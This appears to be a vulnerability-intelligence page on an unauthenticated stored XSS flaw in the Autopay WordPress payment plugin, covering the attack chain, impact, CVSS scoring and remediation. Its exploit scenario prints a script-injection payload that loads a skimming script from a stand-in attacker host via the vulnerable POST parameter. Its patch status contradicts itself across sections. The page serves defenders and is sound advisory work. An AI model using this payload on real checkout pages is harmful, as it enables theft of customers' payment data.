Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend unauthenticated POST with malicious style payload
-
DeliveryWordPress 'init' hook invokes Css_Editor::handle_save()
-
ExploitRaw payload persisted to woocommerce_bluemedia_settings via update_option()
-
ExecutionVictim navigates to WooCommerce checkout page
-
PersistCss_Frontend::print_to_wp_head() echoes payload unescaped in style block
-
ImpactInjected script executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special configuration, authentication, or site-specific condition is required for the attacker to store the malicious payload: any unauthenticated HTTP client can POST the bm_woocommerce_css_editor_content parameter to any URL on the WordPress installation, because Css_Editor::handle_save() is bound to the 'init' hook (which fires unconditionally on every request) with neither a WordPress capability check (current_user_can()) nor a nonce verification (check_admin_referer()). The only prerequisites for exploitation are that the Autopay plugin version 5.0.0 or earlier is installed and active, and that WooCommerce is installed and active so the checkout page exists. For the stored payload to execute, victim users must subsequently visit the WooCommerce checkout page - a normal part of any purchase flow requiring no unusual or coerced user action. Limiting factors: a Content Security Policy that blocks inline scripts or disallows external script sources would impede JavaScript execution even if the payload is stored; absence of active WooCommerce stores (e.g., plugin installed but no products listed) would prevent victim exposure; and network-layer WAFs capable of detecting style-context injection patterns may block payload delivery. |
| Impact | The CVSS 7.2 base score (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) accurately represents the severity landscape: the attack requires no authentication, no complexity, and no user interaction on the attacker's side, while the Changed scope flag captures the downstream impact on checkout page visitors whose browsers execute the injected payload. The checkout page context materially elevates real-world risk beyond what the numeric score alone conveys - this is exactly the surface targeted by Magecart-style payment skimming operations, and even a mid-sized municipal IT team in tczew operating a WooCommerce store for public-facing services should treat this as urgent remediation rather than routine patching. No EPSS score was provided in the source intelligence, precluding probabilistic exploitation comparison; the vulnerability is not currently in the CISA KEV catalog, and no weaponized proof-of-concept has been identified. SSVC signals nevertheless favour high priority: exploitation is not confirmed but the technique is trivially automatable (a single HTTP POST to any site URL with no prerequisite fingerprinting), and the technical impact on subsequent systems - browsing victims - is partial confidentiality and integrity compromise at a maximally sensitive interaction point. |
| Exploit ScenarioDerived | An unauthenticated attacker sends a single HTTP POST request to any page on the target WordPress site with the body parameter bm_woocommerce_css_editor_content set to a payload such as </style><script src='https://attacker.com/skim.js'></script><style>, triggering Css_Editor::handle_save() silently via the 'init' hook and persisting the payload in the WordPress database. From that point forward, every user who visits the WooCommerce checkout page - typically customers actively entering payment card details - receives and executes the attacker's script, enabling real-time session hijacking, form-field interception, or exfiltration of payment credentials to an attacker-controlled endpoint. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 16, 2026
Stored XSS in the Autopay (Platnosci Online Blue Media) WordPress plugin through version 5.0.0 permits unauthenticated remote attackers to permanently inject arbitrary JavaScript into the WooCommerce checkout page by sending a single crafted POST request targeting the bm_woocommerce_css_editor_content parameter. The plugin's CSS editor save handler is registered on WordPress's 'init' hook with no capability check, no nonce verification, and no input sanitization, causing raw attacker-controlled content to be persisted in the WordPress options table and rendered unescaped inside a style block on every subsequent checkout page load. No public exploit has been identified at time of analysis and this vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog, but the unauthenticated write path combined with persistent execution on a high-value payment page represents a credible payment-skimming threat vector.
RemediationAI
Update the Autopay (Platnosci Online Blue Media) plugin to a version beyond 5.0.0 as the primary remediation step. A source-level fix has been committed to the WordPress plugin repository (changeset https://plugins.trac.wordpress.org/changeset?reponame=&old=3636306%40platnosci-online-blue-media&new=3636306%40platnosci-online-blue-media); however, the corresponding released plugin version number incorporating this fix is not independently confirmed from the available data - verify the latest version on the WordPress.org plugin directory and confirm it includes or supersedes revision 3636306 before deploying to production. If an immediate update is blocked, a targeted compensating control is to add a WAF rule or WordPress MU-plugin that rejects POST requests containing the bm_woocommerce_css_editor_content parameter from unauthenticated sessions; this eliminates the unauthenticated write vector but may interrupt legitimate admin CSS customization workflows, requiring admin users to temporarily save CSS settings via a different method. Additionally, audit the current value of the woocommerce_bluemedia_settings WordPress option for any pre-existing injected payload and clear or sanitize it if tainted, since stored XSS payloads persist after patching unless the corrupted option is explicitly remediated.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerable component is the Autopay WooCommerce payment plugin (CPE: cpe:2.3:a:bluemediapl:autopay:*:*:*:*:*:*:*:*) through version 5.0.0, a Polish Blue Media payment gateway integration for WordPress. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation / Stored XSS), and it manifests across three cooperating code paths: Settings_Manager::init_once() (Settings_Manager.php:94) registers Css_Editor::handle_save() on WordPress's global 'init' action hook, which fires on every HTTP request regardless of authentication state. handle_save() (Css_Editor.php:96, 98) reads $_POST['bm_woocommerce_css_editor_content'] and writes it directly to the 'woocommerce_bluemedia_settings' option via update_option() with no sanitization callback, bypassing WordPress's built-in option filtering. Css_Frontend::print_to_wp_head() (Css_Frontend.php:17) later retrieves the stored option value and echoes it verbatim inside a style tag injected into the WooCommerce checkout page's HTML head section with no esc_html() or wp_kses() call, enabling an attacker to close the style context and inject arbitrary HTML or JavaScript that executes in every visiting user's browser.
Know when Autopay gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
AV:N and PR:N confirmed by code: init hook fires on all requests with no auth check; S:C and UI:N reflect stored payload executing persistently in all checkout visitors' browsers without further attacker interaction.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Platnosci Online Blue Media (Autopay) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.0 via the 'bm_woocommerce_css_editor_content' POST parameter. This is due to the Css_Editor::handle_save() method being wired to the WordPress 'init' hook by Settings_Manager::init_once() with no capability check, no nonce verification, and no sanitization on the input - the raw $_POST value is written to the 'woocommerce_bluemedia_settings' option via update_option(), then later echoed directly inside a <style> block on the WooCommerce checkout page by Css_Frontend::print_to_wp_head() with no output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page (the checkout page).
Executive ViewAI
A stored cross-site scripting vulnerability in the Autopay WordPress plugin (through version 5.0.0) allows unauthenticated attackers to permanently inject malicious code into WooCommerce checkout pages with a single request, bypassing all security controls. This exposes payment data, customer credentials, and the organization to PCI-DSS compliance violations and payment-skimming attacks with no vendor patch currently available. Any e-commerce organization using Autopay should treat this as a critical payment infrastructure risk requiring immediate remediation.
No vendor-released patch identified at time of analysis. Interim mitigations include: (1) deactivate and remove the vulnerable plugin immediately; (2) implement WAF rules blocking access to the vulnerable parameter; (3) enforce a restrictive Content-Security-Policy to prevent inline script execution; (4) implement strict input validation and output encoding for any remaining CSS editor functionality if plugin cannot be removed; (5) conduct daily WordPress option table audits for suspicious content; (6) segment payment processing from public-facing infrastructure where possible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Stored cross-site scripting in the Autopay WordPress plugin before 5.0.1 permits unauthenticated attackers to permanentl
Missing signature enforcement in the Autopay WordPress payment-gateway plugin before 5.0.1 lets unauthenticated remote a
Unauthenticated XSS in the Autopay WordPress plugin (versions ≤ 5.0.0) enables remote attackers to inject and execute ar
EUVD-2026-59868
GHSA-5c8g-gwg5-j775
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB